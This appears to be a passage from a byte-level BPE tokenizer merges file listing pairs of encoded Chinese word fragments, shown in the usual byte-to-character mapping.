+æ´» åĭķ +éĥ½ å¾Ī +ç͵ 梯 +ç´§ æĢ¥ +åĢº åĬ¡ +客 æľį +ä¸Ģ éĥ¨ +ä½ł æĺ¯ +çݰ çĬ¶ +æŃ£ç¡® çļĦ +ä¹ĭ å¤Ħ +ç¼ĸ åζ +ä½ł åı¯ä»¥ +çŃī åľ° +èİ ī +对 è¯Ŀ +æ·ĺ å®Ŀ +è°ĥ èĬĤ +æİĴ æĶ¾ +åºĵ åŃĺ +ç´ ļ +çļĦ ä¼ĺåĬ¿ +æĿĥ å¨ģ +以ä¸ĭ ç®Ģç§° +ä¸Ģ 项 +èģļ éĽĨ +ä¼łç»Ł çļĦ +æ·· åIJĪ +è¿Ļä¸Ģ çĤ¹ +ä¸Ģ çľ¼ +æĹł éĻIJ +èİ·å¾Ĺ äºĨ +éĢī æīĭ +åζ åĵģ +åįı ä½ľ +çĭ¬çī¹ çļĦ +ä¸Ģ 级 +è¿Ļ个 éĹ®é¢ĺ +æĸ Į +æĺ¯ æĪij们 +æķĮ 人 +æ¸ħ æ´Ĺ +ä¸Ģ缴 åľ¨ +å°ı ç±³ +çļĦ è¿ĩç¨ĭ +åľ¨ åĮĹ京 +ä¸Ģ æĶ¯ +æĹ© ä¸Ĭ +æĸĩ èīº +ç¦ı åĪ© +é£Ł ç͍ +æĦŁ åĬ¨ +åħ¨ ç¨ĭ +æĶ¯ åĩº +æĸ° 建 +å¸ ķ +æĺ¾ çĦ¶ +羣 çļĦæĺ¯ +æĸ°éĹ» ç½ij +èĥ½ åIJ¦ +åįı åĬ© +亲 èĩª +å¾Ī æľī +çϼ å±ķ +æĦı 大 +æĦı大 åĪ© +ç͵ ç½ij +æĹ¥ çĽĬ +çĨ ± +èĤĮ èĤ¤ +çĶ· æĢ§ +ç»Ħ 建 +çŃī éĹ®é¢ĺ +æ¶Ī éϤ +æĬ¤ çIJĨ +å¡ij æĸĻ +ä¹Į åħĭ +ä¹Įåħĭ åħ° +åķĨ æłĩ +çIJ ³ +æĸ° æīĭ +çļĦ çī¹çĤ¹ +åĴ ¬ +å½ĵ ä¸ĭ +设计 å¸Ī +èµĶ åģ¿ +第 åįģ +æĻºèĥ½ åĮĸ +å¼Ģåıij åĮº +åı¯ä»¥ éĢļè¿ĩ +åħ±äº§ åħļ +åİī 害 +çģµ æ´» +æĹ¶ åħī +éĥ¨ ä½į +人 æĸĩ +è¿Ľ æĿ¥ +ä¹ĭ æīĢ以 +ä¸ī åįģ +çļĦ åѦçĶŁ +éĺ² æĬ¤ +åĽ½ 产 +æ·±åľ³ å¸Ĥ +éĤ£ å°±æĺ¯ +åΰ ä½į +çī¹ æľĹ +çľĹ æĻ® +å®ŀ æĹ¶ +åı° çģ£ +èĢĮ ä¸į +æĮĩ å®ļ +åĿ Ŀ +èħIJ è´¥ +çī¹ å®ļ +å¢ŀ éĢŁ +æłĩ çѾ +æĪ¿ ä»· +æĦ ģ +贯彻 èIJ½å®ŀ +æĢ§ è´¨ +çłĶç©¶ çĶŁ +ç¾İ 容 +æī¹ è¯Ħ +ç©¶ 竣 +人åĬĽ èµĦæºIJ +éĸĭ å§ĭ +åĽŀ å½Ĵ +èIJ¥ åķĨ +èIJ¥åķĨ çݯå¢ĥ +ä¸ŃåĽ½ 人 +çļĦ åŁºæľ¬ +è¯Ŀ é¢ĺ +æłĩåĩĨ åĮĸ +西 èĹı +åĭ ¾ +çļĦ 设计 +ç®Ģåįķ çļĦ +å¤į åζ +æ¸IJ æ¸IJ +以 å¤ĸ +èģĶ åĬ¨ +两 次 +æĢ§ åĴĮ +æĽ´ 大 +çļĦ åIJįåŃĹ +éŁ ¦ +ä½ł è¦ģ +å¢ĥ å¤ĸ +æĹ© æľŁ +åĪĿ æŃ¥ +è´¦ åı· +害 æĢķ +æĺ¨ æĹ¥ +åĪļ æīį +ç¥ŀ ç§ĺ +ç²¾ å¿ĥ +æµģ éĢļ +åħ¨ æĸ¹ä½į +以 å¾Ģ +ä¹Ł å°Ĩ +æĺ¯ ä¸ŃåĽ½ +åĽ½å®¶ 级 +å°Ĩ åĨĽ +æij Ĭ +æľĢ 为 +第ä¸Ģ æĹ¶éĹ´ +æ¶Ī æ¯Ĵ +å°Ĩ äºİ +å¨ģ èĥģ +èĭ± æĸĩ +æīĭ ä¸Ń +çIJĥ è¿· +è§Ĥ çľĭ +离 å©ļ +æľ¬ åľŁ +åĪĨ æķ£ +æĻ ´ +è¦ģ 注æĦı +浪 è´¹ +管 æİ§ +åĩº åĶ® +æĢ» è£ģ +ä¸Ģ éĺµ +å¨ ĩ +äºĶ 个 +å½ĵ åĪĿ +çºł 纷 +ä¸ĵ ç͍ +å¤ĩ æ¡Ī +åĪĿ æľŁ +å®ĥ æĺ¯ +åĮº åĿĹ +åĮºåĿĹ éĵ¾ +大 è¿ŀ +è¿Ļ ç±» +åıĺ æĪIJäºĨ +éĤĦ æĺ¯ +åįļ 客 +çı¾ åľ¨ +ä¸Ģ æĸ¹ +å®ĮæĪIJ äºĨ +è¿Ļ个 æĹ¶åĢĻ +åħ¨ å¹´ +ä¸Ĭ 线 +ç½ IJ +ç«ŀ èµĽ +åĩºçīĪ ç¤¾ +åĵ¥ åĵ¥ +å¯ « +å¾Ĺ 以 +èĬ± åĽŃ +äºĨ èµ·æĿ¥ +èĦ±è´« æĶ»åĿļ +çļĦ åİŁåĪĻ +讲 è§£ +æ¶Ī åĮĸ +æį٠害 +æļĤ æĹ¶ +å¾Ĺ çŁ¥ +éĢĤ ç͍ +éŨ åºĹ +è§£ 读 +æĻ® åıĬ +人æ°ij æ³ķéĻ¢ +åī¯ ä¸»ä»» +å¿ĥ çģµ +è¯Ĭ æĸŃ +ç¾İ 女 +æŁ ¯ +å¹´ 以æĿ¥ +æ´» è·ĥ +åĢŁ åĬ© +åħ± 建 +è¯ī 讼 +æĶ¾ æĿ¾ +çªĹ åı£ +ä¼ģ æ¥Ń +åĬł æĭ¿ +åĬłæĭ¿ 大 +ä¹° äºĨ +主 æµģ +æĩĤ å¾Ĺ +å°Ĩ åħ¶ +éĢı æĺİ +å·¥ä½ľ ä¸Ń +èĤ¡ ä»· +æ¡£ æ¡Ī +没æľī ä»»ä½ķ +åijĬ çŁ¥ +å¹´ åĪĿ +æĹ¥ ä¸ĭåįĪ +åİĤ åķĨ +èĬĤ å¥ı +主 导 +è£ Ŀ +åħ³éĶ® è¯į +èģĬ 天 +åĨĻ ä½ľ +æĶ¹éĿ© å¼ĢæĶ¾ +æľī æľĽ +éĢļ æĬ¥ +èIJ Į +æĢ» é¢Ŀ +çŁŃ æľŁ +ä¸Ģ çķª +çĶŁæ´» çļĦ +åĮĸ çļĦ +æĺ¥ 天 +è¿Ļ åľº +æĸ°å¼Ģ ä¼łå¥ĩ +æĺ¯ è¦ģ +å°ļ æľª +åıĺ æĽ´ +ä¸Ģ åij¨ +客 è§Ĥ +æĹ¥ èĩ³ +é¹ ° +çİ ² +å°Ĩ æĿ¥ +客 人 +åıĺ éĿ© +说 äºĨ +åİŁ çIJĨ +èģĮ åĬ¡ +åıĪ æľī +ä¸Ģ åı¥è¯Ŀ +æĦŁ åıĹåΰ +ç¬Ķ èĢħ +ç§» æ°ij +西 åįĹ +ä¹ĥ èĩ³ +æŃ£ è§Ħ +åĪĿ ä¸Ń +çĬ ¬ +å½ĵ äºĭ +å½ĵäºĭ 人 +æĪij们 è¦ģ +åħ¥ åı£ +éĤ£ æĹ¶ +æľīéĻIJ 责任 +å°ij 女 +è¿Ļä¹Ī å¤ļ +åĪĨ åħ¬åı¸ +å®ĩ å®Ļ +çļĦ éĢīæĭ© +å§IJ å§IJ +åıij èµ· +è» į +æĽ´å¥½ åľ° +éĻĨ ç»Ń +æľ¬ æľįåĭĻ +å« © +èµ¶ ç´§ +èĦĤ èĤª +第äºĮ 天 +æĪij ä¼ļ +两 ä½į +æķ ² +åħ¬å®ī æľºåħ³ +ç§ijæĬĢ åĪĽæĸ° +å°º 寸 +è¾IJ å°Ħ +å®Ĺ æķĻ +转 æį¢ +åĩº çİ°åľ¨ +ä¸Ģ é¢Ĺ +æľŁ éĻIJ +åIJĮåѦ 们 +åĮĹ æĸ¹ +ä½ł å°± +ä¸Ģ带 ä¸Ģè·¯ +èĢģ å©Ĩ +游æĪı çݩ家 +çļĦ ç»ĵæŀľ +è¡¥ åģ¿ +å¤ĸ è´¸ +对 å¾ħ +ç»´ çĶŁç´ł +ç»ıéĶĢ åķĨ +è¿ĺ å°Ĩ +åŃIJ 女 +æĽ´ é«ĺ +ä¸į 大 +éī´ å®ļ +让 ä»ĸ们 +æīĢè°ĵ çļĦ +æŃ» äºĨ +帮 æī¶ +åĵ² åѦ +以ä¸Ĭ çļĦ +çļĦ åħ³éĶ® +æĹ© å°± +æĬ¥ ä»· +éģµ å®Ī +æī© å¼ł +æĺ¯ å¾Ī +å¼Ģ éĢļ +æĸ° åĬł +æĸ°åĬł åĿ¡ +ç¿» è¯ij +询 éĹ® +é¸ Ń +ä½ĵ åĨħ +两 个人 +çĪ ¹ +éľ ľ +乡æĿij æĮ¯åħ´ +çĿ¡ è§ī +å®ĺ åijĺ +åĪĽ å§ĭ +åĪĽå§ĭ 人 +ä¼Ĺ 人 +åį³ ä¾¿ +çĸ« èĭĹ +ä¼ģä¸ļ å®¶ +æ¸ £ +ç²¾ åĬĽ +å¤ĸ éĥ¨ +èģª æĺİ +è¿Ļ ä¹Ł +å½ķ åıĸ +åĨ² çªģ +åħ¨ 身 +åŃ£ èĬĤ +忽 çĦ¶ +çļĦ æĢģ度 +åĤ¨ å¤ĩ +ä¿Ŀ åħ» +çļĦ æĥ³æ³ķ +ä¸Ĭæµ· å¸Ĥ +æIJº æīĭ +çļĦ ä¿¡æģ¯ +åķĨ åľº +çļĦ æĢĿæĥ³ +æĿĥ åĬĽ +毫 æĹł +æĢĢ åŃķ +硬 ä»¶ +åĨħ èĴĻåı¤ +æİ¢ 讨 +åħ» çĶŁ +çļĦ 表çݰ +空 ä¸Ń +æģIJ æĢĸ +å¾Ī é«ĺ +ç»ıæµİ 社ä¼ļ +ä¸Ĭ æĿ¥ +å»¶ ç»Ń +éĩį å¤į +éĺ² èĮĥ +çļĦ å½¢å¼ı +æľĪ åºķ +èĢģ 年人 +绿 åĮĸ +å±± åĮº +æĭ¿ åĩº +æĹħ 客 +æĽ´ æį¢ +åħ¬ 主 +èĬĤ 约 +åħ¨ åİ¿ +åĽŀ æĬ¥ +çIJĨ æĢ§ +çĸ¯ çĭĤ +æ¶ī å«Į +åī§ æĥħ +åĨ¬ åŃ£ +åIJİ ç»Ń +è¿Ļæĺ¯ ä¸Ģ个 +æ¼Ķ 讲 +ä¸Ģ å±Ĥ +æľīåħ³ éĥ¨éŨ +æĹł å¥Ī +ç§į ç±» +缸åħ³ çļĦ +æĪĸèĢħ æĺ¯ +æī¶ æĮģ +å¤ļ æķ° +çļĦ ä½ľåĵģ +ä¸ĭ ä¸ĢæŃ¥ +å¸Ī åĤħ +é«ĺéĢŁ åħ¬è·¯ +好 åıĭ +ä¼ĺç§Ģ çļĦ +è¿Ľ äºĨ +æģIJ æĢķ +äºĨ åIJ§ +大 è§Ħ模 +çļĦ ä¸ĸçķĮ +æĢĢ çĸij +å· · +åħ´ å¥ĭ +æĪ ° +æĿij éĩĮ +æľĭåıĭ åľĪ +åĨ¬ 天 +ä¸Ńåįİ äººæ°ij +åįı åķĨ +è¯Ħ éĢī +æĹ Ń +å¢ŀåĬł äºĨ +åıĹ ä¼¤ +ä¸Ģ èĤ¡ +便 æį· +ä¸ ij +é¹ ¤ +å¤ĸ è§Ĥ +å·¥ç¨ĭ å¸Ī +åĴĮ åħ¶ä»ĸ +è¿Ļ å°± +ä¸Ńå°ı ä¼ģä¸ļ +西 åĮĹ +åĽ½æľī ä¼ģä¸ļ +èĭ¥ æĺ¯ +åı¯ æĥľ +çĶŁ æĹ¥ +åĩ ½ +ä¹° åįĸ +ç¥Ŀ ç¦ı +人æ°ij 群ä¼Ĺ +åħī æĺİ +åħ¬ å¯ĵ +æĺ¯ è°ģ +æĪij çŁ¥éģĵ +è¯Ń æĸĩ +æķı æĦŁ +ä¸įéĶĻ çļĦ +æĿ¥ 讲 +æ³¢ åĬ¨ +çļĦ 第ä¸Ģ +åľ° éľĩ +åľ¨ åħ¨åĽ½ +骨 å¹² +å®ī ç½® +å®¶ ç͵ +ä¸İ æŃ¤ +ä¸İæŃ¤ åIJĮæĹ¶ +åıĹ çģ¾ +çĥŃ çº¿ +çļĦ æĬĢæľ¯ +æµĭ éĩı +ä¾Ŀ èµĸ +ä¸ŃåĽ½ çļĦ +çī¹ æĢ§ +è¾ĥ é«ĺ +è¸ © +ä¼ļ åľ¨ +建 éĢł +导 èĪª +æĥ³ èµ· +åħ¨ ä¸ĸçķĮ +建 æĿIJ +ç¯ Ģ +çļĦ åŁºç¡Ģ +èĩªåĬ¨ åĮĸ +åīį åIJİ +çĿ¡ çľł +æİ¨ è¡Į +æį® äºĨè§£ +ä»Ģä¹Ī æĹ¶åĢĻ +ä¸į åĸľæ¬¢ +çħ¤ çĤŃ +éĤ£ä¹Ī å¤ļ +å¸Ĥåľº åĮĸ +ä¸į管 æĺ¯ +ç«ĭ åľº +éĥ½ 没 +课 é¢ĺ +æĪij们 å°Ĩ +è¿ĩ çļĦ +åĨį åĬłä¸Ĭ +çĪ ¾ +身 æĿIJ +çĶ· 女 +è¿ľ è¿ľ +çĶ· çĶŁ +èĩªèº« çļĦ +è´Ł æĭħ +çϾ ä¸ĩ +西 çıŃ +西çıŃ çīĻ +åĩĢ åĪ©æ¶¦ +æ¾³ 大 +澳大 åĪ©äºļ +ä¸į åİ» +æī¿ åıĹ +楼 çĽĺ +å¢ĥ åĨħ +æ·· åĩĿ +æ··åĩĿ åľŁ +æĢĿæĥ³ æĶ¿æ²» +å¸Ĥ åĮº +æĭĽ æłĩ +åĽ¢ ä½ĵ +è¿Ľ 度 +åĨĽ éĺŁ +åıį å¼¹ +äºĨä¸Ģ äºĽ +æİ¥ å¾ħ +çļĦ åŃ¦ä¹ł +éħį éĢģ +é£Łåĵģ å®īåħ¨ +æĽ¿ 代 +æĺ¯ 以 +éĢļ ç͍ +çłĶç©¶ æīĢ +ç¦ ħ +æī Ķ +éļĶ ç¦» +ä¸ĩ å¹³æĸ¹ç±³ +çļĦ è§Ħå®ļ +ç»Ļ æĪij们 +æ¿Ģ åħī +ä¼ļ åĩºçݰ +çŁŃ ä¿¡ +ç©¿ çĿĢ +æ²Ī éĺ³ +æķĻ æĿIJ +éĺ² çĸ« +ä¼ĺ èī¯ +约 å®ļ +æĪij çľģ +åħ¬ æ°ij +éģ¸ æĵ +é쏿ĵ ĩ +å·² æĪIJ为 +ä¸į å¿ħ +ç¥ĸ åĽ½ +å¹¶ æľª +åľŁ 壤 +å¾® ç¬ij +äºĭä¸ļ åįķä½į +çļĦ 游æĪı +åħ¬ 示 +åIJĪçIJĨ çļĦ +çª Ŀ +æ°Ķ 象 +å®¶ ä¸Ń +亮 缸 +åį« æĺŁ +è®° è½½ +è§Ĩ éĩİ +åľ°åĮº çļĦ +ä½Ĩ ä»ĸ +èĤĮ èĤī +äºı æįŁ +åĬŀ åѦ +ä¸Ģ è¡Į +è¯ŀ çĶŁ +åıijå¸ĥ çļĦ +çļĦ æľįåĬ¡ +çļĦ çłĶç©¶ +åij¨ æľ« +产ä¸ļ åĽŃ +é«ĺ 温 +æĪIJåĬŁ çļĦ +æŃ¥ 骤 +åŃĺ åĤ¨ +åŃIJ åħ¬åı¸ +让 她 +ä¸Ń æľī +åĺī 宾 +å¦ ® +æĺİ å¹´ +äºĨ åIJĹ +äºī è®® +æĪ Ī +ä¸Ģ æľ¬ +ç¾İ丽 çļĦ +ä½ł 说 +大 人 +æĶ» çķ¥ +ä¸į æľĥ +å¾ħ éģĩ +ä¸Ģ è¾Ĩ +çīĪæĿĥ æīĢæľī +æ°ij ä¼Ĺ +åĬ٠夫 +å±ķ ä¼ļ +大 èĦij +æ¯ı æľĪ +å°ı 麦 +æµĻæ±Ł çľģ +çļĦ æīĢæľī +ä¸ĭ æ»ij +èĵĿ èī² +è¦ģ æĥ³ +åѦçĶŁ çļĦ +å½ĵ ä½ł +ä½ľ æĪĺ +å®¶ 乡 +å¤ļ åIJį +é«ĺ äºİ +åĿļ 强 +è¿ŀ éĶģ +åIJİ æŀľ +人 äºĭ +ç´ ħ +æ¿Ģ åĬ¨ +è¿Ľ æĶ» +ç© Ĩ +ä¸ ĺ +让 èĩªå·± +以 æŃ¤ +夫 人 +å¼Ģ 设 +æ°Ķ è´¨ +鸡 èĽĭ +çĦ¡ æ³ķ +åIJĥ äºĨ +åĪĨåĪ« 为 +èģĶåIJĪ åĽ½ +å½ĵ 代 +å¦Ĥæŀľ æĺ¯ +è¿ľ ç¨ĭ +åĸ Ĥ +è®° ä½ı +æ¸ħ åįķ +åIJĪä½ľ ä¼Ļä¼´ +åİ» åģļ +æķħ éļľ +模 æĭŁ +å¸Ī çĶŁ +åīį æĿ¥ +ç͵è§Ĩ åī§ +çĥŃ çα +éľ² åĩº +é«ĺ å±Ĥ +ç͵ åύ +纪 å¾ĭ +å¼Ģåıij åķĨ +éķ¿ å®ī +è½½ ä½ĵ +çļĦ å°±æĺ¯ +被 人 +åıĹ çIJĨ +篮 çIJĥ +èİ İ +交 ç»Ļ +æľªæĿ¥ çļĦ +两 大 +åIJķ å¸ĥ +çŃī 人 +çļĦ æĹ¥åŃIJ +åIJĪä½ľ 社 +æĮij éĢī +åŃĺ æ¬¾ +ç³»ç»Ł çļĦ +æĬĬ å®ĥ +没æľī ä»Ģä¹Ī +ä»İ æŃ¤ +ä¸Ń åįĪ +çĸ¼ çĹĽ +å·© åĽº +浪 漫 +缸åħ³ éĥ¨éŨ +éķ¿ åŁİ +纤 ç»´ +ä¸Ĭ éŨ +çĪĨ çĤ¸ +èµ· çĤ¹ +çļĦ éĢļçŁ¥ +èĢĮ æĿ¥ +çļĦ èĢģ +æīĭ éĩĮ +è¯Ń éŁ³ +è¾Ľ èĭ¦ +æ±Łèĭı çľģ +ç͍ äºĨ +身份 è¯ģ +æľī åĬ© +æľīåĬ© äºİ +çī© èģĶç½ij +åĩº éŨ +å¼Ł åŃIJ +æĥ ¹ +è¿Ļä»¶ äºĭ +æĪij们 åı¯ä»¥ +çļĦ çĶŁåij½ +æľīä¸Ģ ç§į +åºĹ éĵº +åıĮ æīĭ +çļĦ æ¶Īæģ¯ +èĢIJ å¿ĥ +å°´ å°¬ +éĤ£ 天 +é¦ĸ æī¹ +æĺ¯ä¸Ģ å®¶ +人 æ°Ķ +åıį æŃ£ +æĪij åĴĮ +å®ł çī© +ä¸į 对 +寻 æ±Ĥ +缸 ä¼¼ +åľ¨ ç¾İåĽ½ +åı« åģļ +åĹ İ +ç«ĭ è¶³ +ç͍ éĢĶ +åħ Ĩ +大 æ°Ķ +åIJij ä¸Ĭ +ä»ĸ å°± +é¡¹çĽ® 建设 +èĭ¥ å¹² +æĺ¯ æľī +æ¿Ģ æĥħ +çļĦ æĦıä¹ī +æĺ Ń +严éĩį çļĦ +å¯Ĩ éĽĨ +èĪŀ è¹Ī +èᣠèİ· +èİ· æĤī +æ±Ł åįĹ +åģĩ å¦Ĥ +æĪ· å¤ĸ +线 ç´¢ +ç§ģ 人 +转åŀĭ åįĩ级 +çļĦ ä»·å̼ +åįķ çĭ¬ +èĢģ çϾå§ĵ +å°į æĸ¼ +åĽ½éĻħ åĮĸ +ä¼° å̼ +æľįåĬ¡ ä¸ļ +èĩ Ń +æİī äºĨ +è§£åĨ³ äºĨ +ä¹Ł ä¸įèĥ½ +åħ ¹ +æĸ¯ çī¹ +æķħ æĦı +è¿ĩ 度 +èĬĤ æĹ¥ +çϽ çĻľ +çϽçĻľ é£İ +ç»§ æī¿ +äºĨ ä¸įå°ij +äºĮ 人 +è§ģ éĿ¢ +æĥ³ æĥ³ +å¤į åIJĪ +康 å¤į +åİ¿ åŁİ +åľ¨ åĽ½åĨħ +åľº åľ° +é϶ çĵ· +è¿Ļ 项 +çľ¼ ä¸Ń +çł ¸ +æĦŁè§ī åΰ +æŀľ çĦ¶ +æĶ¾ åħ¥ +约 æĿŁ +æİĴ æŁ¥ +车 主 +çļĦ æĦıæĢĿ +æĸ° åŁİ +æĥ³ çĿĢ +éģ Ĥ +èĮ¶ åı¶ +ä¹° æĪ¿ +åĨľ æĪ· +é«ĺ æīĭ +çİī ç±³ +æĸ°åĨł èĤºçĤİ +çħ§ æĺİ +æĮĩ åįĹ +è¸ ¢ +æķij æı´ +æĻ¯ çĤ¹ +ç¨İ æĶ¶ +çļĦ æīĭ +æŃ£ 好 +è¦ģ æĬĬ +éļı æĦı +åħ¶å®ŀ æĺ¯ +ç»Ļ èĩªå·± +è°Ī åΤ +æ¯ı天 éĥ½ +æĢģ åĬ¿ +é¢Ħ 约 +åİĨåı² ä¸Ĭ +å®Ŀ è´Ŀ +åīį è¿Ľ +ä¹Łå°±æĺ¯ 说 +çļĦ æĦıè§ģ +åı£ 罩 +åİĺ ç±³ +èĬ± è´¹ +ä½ĵèĤ² æĬķæ³¨ +åħ¬ä¼Ĺ åı· +èijĹåIJį çļĦ +å¼Ģ æĪ· +æĭį åįĸ +å²ģ æľĪ +åĨħ æ¶µ +å®Įæķ´ çļĦ +é«ĺ åİĭ +åħ¬åĬ¡ åijĺ +使ç͍ çļĦ +çĶŁäº§ 线 +妹 妹 +èµ° 访 +æĺ¯ åı¯ä»¥ +åľ¨ å®¶ +æļ´ åĬĽ +æ³° åĽ½ +è´¨ çĸij +ä¸į éģİ +天çĦ¶ æ°Ķ +缺 çĤ¹ +å°ı åŀĭ +ä¸įä»ħ æĺ¯ +é»ij æļĹ +æ¢ ¨ +æĸĩ æĹħ +è¦ģ æľī +ä¸Ń å±± +çļĦ æķ°æį® +å¾Ĺ å¾Ī +以 便 +对 ä»ĸ +åĬł 以 +çϼ çı¾ +设 å®ļ +èĤļ åŃIJ +éĿ ĸ +å¥ī çĮ® +ä¸į åıĺ +åı£ ç¢ij +åľ¨ åĵªéĩĮ +ä½ IJ +è¿Ļ 两个 +çļĦ æĸ¹åIJij +æŀ « +äºĮ 次 +çīĩ åĮº +éł IJ +ç£ Ĭ +æĭ¿ çĿĢ +å·²ç»ı æĪIJ为 +ä¹ĭ ä¸Ĭ +å®Ĺ æĹ¨ +奶 奶 +é«ĺæĸ° åĮº +社 æľĥ +è·Ł 踪 +æľįåĬ¡ ä¸Ńå¿ĥ +æī ¯ +æīĭ æĮĩ +礼 çī© +宿 èĪį +ç͍ å¿ĥ +æıIJé«ĺ äºĨ +亮 çĤ¹ +ä¸į æĦ¿æĦı +æĴŃ æĶ¾ +å¤ļå°ij éĴ± +没 ä»Ģä¹Ī +æķ° åįģ +æĢ» çĽij +çļĦ åŁİå¸Ĥ +æī¾ åΰäºĨ +åĨħ åľ° +åΰ çİ°åľ¨ +æĪĺæĸĹ åĬĽ +åİŁ å§ĭ +åĥ § +åĢĴ æĺ¯ +æľĢ åħ· +è´«åĽ° æĪ· +éĢģ åΰ +级 åĪ« +åĩº èµĦ +æĪª æŃ¢ +ç§į åŃIJ +èĥ½ ä¸įèĥ½ +幸 è¿IJ +èĸ ĩ +项 éĵ¾ +æĮĤ çīĮ +ä¸Ģ 樣 +ä¹ĺ 客 +èIJ½ åIJİ +ä½Ĩ æĪij +æĹ© åľ¨ +åĬ¨ 漫 +å¹³ çŃī +对 ä½ł +ä¸į æĢķ +å¤ĸ çķĮ +å¤ļå¹´ æĿ¥ +é¦ĸ 个 +æ²³ åįĹçľģ +æĪĸ åħ¶ä»ĸ +éķľ å¤´ +åįĹ æĺĮ +ä¸Ģ éĿ¢ +éĢłæĪIJ çļĦ +å´ Ķ +çŃ Ĵ +æķĻèĤ² éĥ¨ +åľ° åŁŁ +æĺĨ æĺİ +å·´ é»İ +æīĭ 游 +ä¸Ģ æĹ¶ +çł į +é¡¶ 级 +åħ± 计 +åİŁ æ²¹ +è¾ī çħĮ +说 æĺ¯ +æĸ°åįİ ç¤¾ +ç»ıåİĨ äºĨ +ä¸į æŃ¢ +è¦ģ ä¹Ī +èĢħ çļĦ +æĢ» æĬķèµĦ +è¡Į é©¶ +ä¸Ĭ å¸Ŀ +å¹´ 纪 +çIJ ¼ +ä¼ł 说 +ç²¾ èĭ± +æĸ¹ éĴĪ +æ±Ł æ¹ĸ +æĪIJ çĤº +æĢ» éĩı +æĬķ æĶ¾ +åĬ¨ çĶ» +èĹ ¤ +ç͵ æºIJ +éĴ Ļ +åIJĮ è¡Į +æĻ®éĢļ çļĦ +åĽ¾ä¹¦ é¦Ĩ +è¯Ī éªĹ +æħĪ åĸĦ +è¿Ļ 份 +主æĮģ 人 +å°± è¿Ļæł· +èĢĮ æĪIJ +èĩªè¡Į 车 +ä¸ŃåĽ½ çī¹èī² +èĤ¿ çĺ¤ +åIJ ¾ +å¼Ł å¼Ł +åıĹ çĽĬ +éĢīæĭ© äºĨ +æĺİæĺ¾ çļĦ +æĬ¥ èĢĥ +ç¬ij éģĵ +éĽĸ çĦ¶ +温 å·ŀ +éĿŀ æ´² +ç§į ç§į +åıĤåĬł äºĨ +è´§ è¿IJ +éļı 便 +å°± 没æľī +ç¸ £ +央 è§Ĩ +ç©¿ è¶Ĭ +çļĦ çݰ象 +åĩł 次 +çļĦ é£İéĻ© +æŃĮ æĽ² +æľ¬ å±Ĭ +å¹´ åĨħ +ä¸į è¶ħè¿ĩ +è¿ĩ å¤ļ +å¿ħé¡» è¦ģ +ç»ĵ 论 +åĢŁ éī´ +ç¥ŀ å¥ĩ +æľŁ æľĽ +ä¸ĵ 享 +éĿŀ常 éĩįè¦ģ +æĦıè¯Ĩ åΰ +åIJĪ å¹¶ +æĬĬ èĩªå·± +å¥Ĺ è£ħ +éŃĶ æ³ķ +å¤ı åŃ£ +ä¸į åĥı +å¢ĥ çķĮ +æĥĬ åĸľ +æľīä¸Ģ 天 +çĦ¦ çĤ¹ +æĪij 认为 +åħ° å·ŀ +ç͵ æ°Ķ +èģĶç³» æĪij们 +ç§ij æĻ® +她 说 +çļĦ æĸĩ竳 +å¥ĩ æĢª +åıĭ 好 +饮 æĸĻ +çļĦ æĶ¯æĮģ +çŃĶ åºĶ +éĩį éĩı +çij ¶ +åĩı è½» +ç§ijåѦ å®¶ +å·´ 西 +éĩijèŀį æľºæŀĦ +åħļ å§Ķ书记 +貸 款 +ç²¾ èĩ´ +ä»İ æľª +åį° åĪ· +åĽŀ 顾 +é¦ĸ éĥ½ +åıij èĤ² +éĹ® éģĵ +è¾¾ åΰäºĨ +å¿į ä¸įä½ı +æīį æľī +æįIJ èµł +ä½Ľ æķĻ +ä¸į æ¸ħ +éĺŁ éķ¿ +缸 åıį +æĬ¥ èѦ +大 åħ¨ +欧 缣 +帮 å¿Ļ +çļĦ æĻĤåĢĻ +缮 å½ķ +è¶³ 以 +èī° éļ¾ +ä»ĸ ä¹Ł +å·¥ ä½ľèĢħ +头 èĦij +缺 éĻ· +æĪIJç«ĭ äºĨ +å°± å¼Ģå§ĭ +认 åIJĮ +é»Ħ èī² +çĹħ æĥħ +覺 å¾Ĺ +è¿Ļ 两 +ä¿¡ ä»° +åľĭ å®¶ +ä¸įä»ħä»ħ æĺ¯ +çĭ¬ å®¶ +èά çļĦ +æĿIJ è´¨ +æµ· ä¸Ĭ +çĤº äºĨ +æľºåĬ¨ 车 +缸å½ĵ äºİ +å¤ļåħĥ åĮĸ +æĽ´ 大çļĦ +èĽ ® +åģĩ æľŁ +å¼ı çļĦ +交éĢļ è¿IJè¾ĵ +çľģ å§Ķ +ä¸į ç®Ĺ +æĶ¾ ä¸ĭ +éĹ ¯ +人 åľ¨ +港 åı£ +æĹ¨ åľ¨ +åij½ 令 +æŁIJ 个 +å¹³ 稳 +åıª 好 +人 人 +äº ŀ +äºĮ ç»´ +äºĮç»´ çłģ +æŀģ 为 +åĪ« å¢ħ +åħ¶ ä½Ļ +大 äºĭ +主管 éĥ¨éŨ +æĹł éĶ¡ +éĹ µ +éģŃ åΰ +说 è¿ĩ +为 ä½ł +è§£ çŃĶ +éªĮ æĶ¶ +çļĦ ç»ıéªĮ +åĮ¹ éħį +çģ« ç®Ń +豪 åįİ +æŁIJ æŁIJ +çļĦ æĹ¶ä»£ +书 éĿ¢ +æģĴ 大 +å»¶ éķ¿ +ä¸Ģ åIJĮ +æľª èĥ½ +交 æį¢ +çĶ¢ åĵģ +çŃī åΰ +åĪĨ 离 +æīĵ ç͵è¯Ŀ +å¹² çĩ¥ +è¾ĥ å¤ļ +å¤ļå¹´ çļĦ +èĥĮæĻ¯ ä¸ĭ +为 ä¾ĭ +æijĺ è¦ģ +å´Ľ èµ· +æŃ¤ åĪ» +æľī æľºä¼ļ +æĿ¡ 款 +é¢Ĩ导 å°ıç»Ħ +çļĦ 身ä½ĵ +åįķ ä¸Ģ +央 è¡Į +ä¸įæĸŃ æıIJé«ĺ +ä»·å̼ è§Ĥ +èĬ ½ +èIJ į +æ³ķå¾ĭ æ³ķè§Ħ +ä¸į éĶĪ +ä¸įéĶĪ éĴ¢ +åĩº äºİ +èĻļ æĭŁ +æį® æĤī +çĥ¦ æģ¼ +åħ¨ æĸ°çļĦ +æī« æıı +çĻ» éĻĨ +èīºæľ¯ å®¶ +çļĦ é£Łçī© +çļĦ åŃĺåľ¨ +客 åİħ +æĪij们 å°± +æŁ¥çľĭ æĽ´å¤ļ +è¯Ħ 审 +å¸Ĥ åł´ +è¬ Ľ +å·¨ 头 +ä¸ŃåĽ½ ç»ıæµİ +äºĨ èĩªå·±çļĦ +åĨ³ è®® +çĽijçĿ£ 管çIJĨ +æĬķ 票 +åĨį 度 